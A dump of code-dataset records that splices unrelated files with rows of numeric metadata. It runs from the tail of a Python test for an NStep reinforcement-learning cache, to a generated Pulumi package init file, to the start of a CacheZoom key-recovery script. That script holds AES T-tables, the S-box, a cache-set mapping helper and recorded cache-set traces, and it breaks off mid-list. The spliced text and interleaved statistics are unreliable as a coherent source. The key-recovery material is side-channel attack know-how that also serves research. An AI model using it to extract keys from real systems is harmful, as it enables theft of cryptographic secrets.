assert_array_almost_equal(transitions.A_next, self.A[slc_next])
else:
assert i + 1 <= self.n
i = 13 - self.n
while cache:
transition = cache.flush()
assert transition.S == self.S[i]
assert_array_almost_equal(a, self.A[i])
assert transition.Rn == self.Rn[i]
assert transition.In == self.In[i]
if i < 13 - self.n:
assert transition.S_next == self.S[i + self.n]
assert transition.A_next == self.A[i + self.n]
i += 1
def test_flush_insufficient(self):
cache = NStep(self.n, gamma=self.gamma)
for i, (s, a, r, done) in islice(enumerate(self.episode, 1), 4):
cache.add(s, a, r, done)
with pytest.raises(InsufficientCacheError):
cache.flush()
def test_flush_empty(self):
cache = NStep(self.n, gamma=self.gamma)
with pytest.raises(InsufficientCacheError):
cache.flush()
def test_extra_info(self):
cache = NStep(self.n, gamma=self.gamma, record_extra_info=True)
for i, (s, a, r, done) in enumerate(self.episode, 1):
cache.add(s, a, r, done)
assert len(cache) == i
if i <= self.n:
assert not cache
if i > self.n:
assert cache
transitions = cache.flush()
assert type(transitions.extra_info) == dict
states = jnp.stack(transitions.extra_info['states'])
actions = jnp.stack(transitions.extra_info['actions'])
assert_array_almost_equal(states[0], transitions.S)
assert_array_almost_equal(actions[0], transitions.A)
def test_extra_info_dones(self):
cache = NStep(self.n, gamma=self.gamma, record_extra_info=True)
for i, (s, a, r, done) in enumerate(self.episode, 1):
if i == self.n + 2:
cache.add(s, a, r, True)
break
else:
cache.add(s, a, r, False)
assert cache
transitions = cache.flush()
assert type(transitions.extra_info) == dict
dones = jnp.stack(transitions.extra_info['dones'])
for i in range(self.n + 2):
assert dones[:, i].sum() == i
| 41.739927
| 93
| 0.541904
| 1,671
| 11,395
| 3.545781
| 0.083184
| 0.031392
| 0.033924
| 0.03173
| 0.788692
| 0.760506
| 0.738734
| 0.720338
| 0.645063
| 0.639662
| 0
| 0.048815
| 0.322247
| 11,395
| 272
| 94
| 41.893382
| 0.718374
| 0.06731
| 0
| 0.621005
| 0
| 0
| 0.0017
| 0
| 0
| 0
| 0
| 0
| 0.315068
| 1
| 0.050228
| false
| 0
| 0.041096
| 0
| 0.150685
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
d7acce7bc60f98f8697bcaf76e9a95ce4b562d9e
| 517
|
py
|
Python
|
sdk/python/pulumi_google_native/runtimeconfig/v1beta1/__init__.py
|
AaronFriel/pulumi-google-native
|
75d1cda425e33d4610348972cd70bddf35f1770d
|
[
"Apache-2.0"
] | 44
|
2021-04-18T23:00:48.000Z
|
2022-02-14T17:43:15.000Z
|
sdk/python/pulumi_google_native/runtimeconfig/v1beta1/__init__.py
|
AaronFriel/pulumi-google-native
|
75d1cda425e33d4610348972cd70bddf35f1770d
|
[
"Apache-2.0"
] | 354
|
2021-04-16T16:48:39.000Z
|
2022-03-31T17:16:39.000Z
|
sdk/python/pulumi_google_native/runtimeconfig/v1beta1/__init__.py
|
AaronFriel/pulumi-google-native
|
75d1cda425e33d4610348972cd70bddf35f1770d
|
[
"Apache-2.0"
] | 8
|
2021-04-24T17:46:51.000Z
|
2022-01-05T10:40:21.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
from ... import _utilities
import typing
# Export this package's modules as members:
from .config import *
from .config_iam_policy import *
from .get_config import *
from .get_config_iam_policy import *
from .get_variable import *
from .get_waiter import *
from .variable import *
from .waiter import *
from ._inputs import *
from . import outputs
| 28.722222
| 80
| 0.744681
| 78
| 517
| 4.807692
| 0.551282
| 0.24
| 0.138667
| 0.112
| 0.149333
| 0.149333
| 0
| 0
| 0
| 0
| 0
| 0.00232
| 0.166344
| 517
| 17
| 81
| 30.411765
| 0.867749
| 0.39265
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
d7b11e27555f9a1e41b087e7534a767b9bd42a70
| 27,971
|
py
|
Python
|
keyrecovery/find_the_key2.py
|
tonitick/CacheZoom
|
37e8d4b10b93f6d114f4140c47c9348ea5df1a11
|
[
"MIT"
] | 13
|
2017-07-07T02:48:57.000Z
|
2021-12-09T06:32:47.000Z
|
keyrecovery/find_the_key2.py
|
tonitick/CacheZoom
|
37e8d4b10b93f6d114f4140c47c9348ea5df1a11
|
[
"MIT"
] | null | null | null |
keyrecovery/find_the_key2.py
|
tonitick/CacheZoom
|
37e8d4b10b93f6d114f4140c47c9348ea5df1a11
|
[
"MIT"
] | 6
|
2017-10-15T19:23:15.000Z
|
2022-01-27T08:33:41.000Z
|
#!/usr/bin/env python
import sys
Te0 = [
0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d,
0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554,
0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d,
0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a,
0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87,
0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b,
0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea,
0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b,
0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a,
0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f,
0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108,
0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f,
0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e,
0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5,
0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d,
0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f,
0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e,
0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb,
0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce,
0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497,
0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c,
0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed,
0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b,
0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a,
0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16,
0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594,
0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81,
0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3,
0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a,
0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504,
0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163,
0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d,
0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f,
0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739,
0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47,
0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395,
0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f,
0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883,
0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c,
0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76,
0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e,
0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4,
0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6,
0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b,
0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7,
0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0,
0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25,
0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818,
0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72,
0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651,
0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21,
0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85,
0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa,
0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12,
0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0,
0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9,
0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133,
0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7,
0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920,
0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a,
0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17,
0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8,
0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11,
0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a,
]
Te1 = [
0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b,
0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5,
0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b,
0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676,
0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d,
0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0,
0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf,
0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0,
0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626,
0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc,
0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1,
0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515,
0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3,
0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a,
0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2,
0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575,
0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a,
0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0,
0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3,
0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484,
0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded,
0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b,
0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939,
0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf,
0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb,
0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585,
0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f,
0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8,
0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f,
0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5,
0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121,
0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2,
0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec,
0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717,
0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d,
0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373,
0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc,
0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888,
0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414,
0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb,
0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a,
0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c,
0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262,
0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979,
0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d,
0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9,
0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea,
0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808,
0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e,
0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6,
0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f,
0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a,
0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666,
0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e,
0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9,
0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e,
0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111,
0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494,
0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9,
0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf,
0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d,
0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868,
0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f,
0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616,
]
Te2 = [
0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b,
0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5,
0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b,
0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76,
0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d,
0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0,
0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af,
0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0,
0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26,
0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc,
0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1,
0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15,
0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3,
0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a,
0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2,
0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75,
0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a,
0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0,
0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3,
0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384,
0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed,
0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b,
0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239,
0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf,
0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb,
0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185,
0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f,
0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8,
0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f,
0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5,
0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221,
0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2,
0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec,
0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17,
0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d,
0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673,
0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc,
0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88,
0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814,
0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb,
0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a,
0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c,
0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462,
0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279,
0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d,
0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9,
0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea,
0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008,
0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e,
0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6,
0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f,
0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a,
0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66,
0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e,
0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9,
0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e,
0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211,
0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394,
0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9,
0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df,
0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d,
0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068,
0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f,
0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16,
]
Te3 = [
0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6,
0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491,
0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56,
0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec,
0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa,
0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb,
0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45,
0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b,
0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c,
0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83,
0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9,
0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a,
0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d,
0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f,
0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf,
0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea,
0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34,
0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b,
0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d,
0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713,
0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1,
0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6,
0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72,
0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85,
0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed,
0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411,
0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe,
0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b,
0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05,
0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1,
0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342,
0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf,
0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3,
0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e,
0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a,
0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6,
0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3,
0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b,
0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28,
0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad,
0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14,
0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8,
0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4,
0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2,
0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da,
0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049,
0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf,
0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810,
0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c,
0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197,
0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e,
0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f,
0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc,
0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c,
0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069,
0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927,
0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322,
0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733,
0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9,
0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5,
0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a,
0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0,
0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e,
0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c,
]
sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
)
def get_T_list(set_number):
if set_number >= 32 and set_number <= 47:
k = set_number - 32
x = k * 16
y = x + 16
return x, y, Te0[x:y]
elif set_number >= 48 and set_number <= 63:
k = set_number - 48
x = k * 16
y = x + 16
return x, y, Te1[x:y]
elif set_number >= 0 and set_number <= 15:
k = set_number - 0
x = k * 16
y = x + 16
return x, y, Te2[x:y]
elif set_number >= 16 and set_number <= 31:
k = set_number - 16
x = k * 16
y = x + 16
return x, y, Te3[x:y]
#PLain Text 00
round_traces = [
[7, 26, 41, 54, 6, 23, 41, 54, 8, 26, 40, 57, 10, 25, 38, 53],
[18, 20, 39, 62, 16, 19, 48, 54, 11, 31, 37, 63, 7, 27, 45, 60],
[10, 20, 49, 51, 7, 28, 44, 52, 10, 25, 43, 55, 10, 32, 39, 60],
[4, 33, 50, 2, 15, 32, 45, 1, 4, 34, 42, 54, 18, 21, 38, 55],
[14, 34, 40, 61, 6, 20, 41, 58, 18, 23, 36, 52, 16, 33, 35, 63],
[11, 27, 38, 53, 18, 29, 35, 1, 10, 31, 47, 1, 7, 28, 41, 1],
[12, 21, 44, 56, 15, 26, 38, 60, 16, 26, 39, 59, 14, 22, 38, 2],
[6, 33, 37, 61, 14, 32, 37, 0, 7, 33, 38, 62, 10, 22, 39, 1],
[5, 28, 42, 53, 4, 20, 48, 60, 14, 31, 46, 55, 9, 29, 47, 53],
[39, 56, 10, 27, 35, 51, 4, 29, 47, 55, 7, 20, 46, 60, 8, 19],
]
#Plain Text
# {0x40, 0x60, 0x50, 0x30, 0x30, 0x70, 0x30, 0x60, 0x50, 0x40, 0x60, 0x20, 0x70, 0x70, 0x60, 0x30}
round_traces2 = [
[4, 20, 36, 52, 4, 20, 36, 53, 5, 20, 37, 53, 4, 21, 36, 53],
[5, 24, 43, 2, 12, 34, 41, 2, 14, 21, 44, 62, 6, 20, 46, 55],
[15, 25, 47, 62, 14, 32, 38, 1, 17, 28, 37, 56, 17, 26, 40, 56],
[20, 25, 39, 54, 16, 24, 46, 2, 19, 34, 40, 57, 17, 21, 37, 52],
[15, 27, 51, 57, 7, 33, 38, 56, 8, 31, 40, 1, 17, 24, 39, 2],
[4, 26, 49, 57, 11, 21, 40, 55, 12, 24, 51, 0, 18, 25, 49, 2],
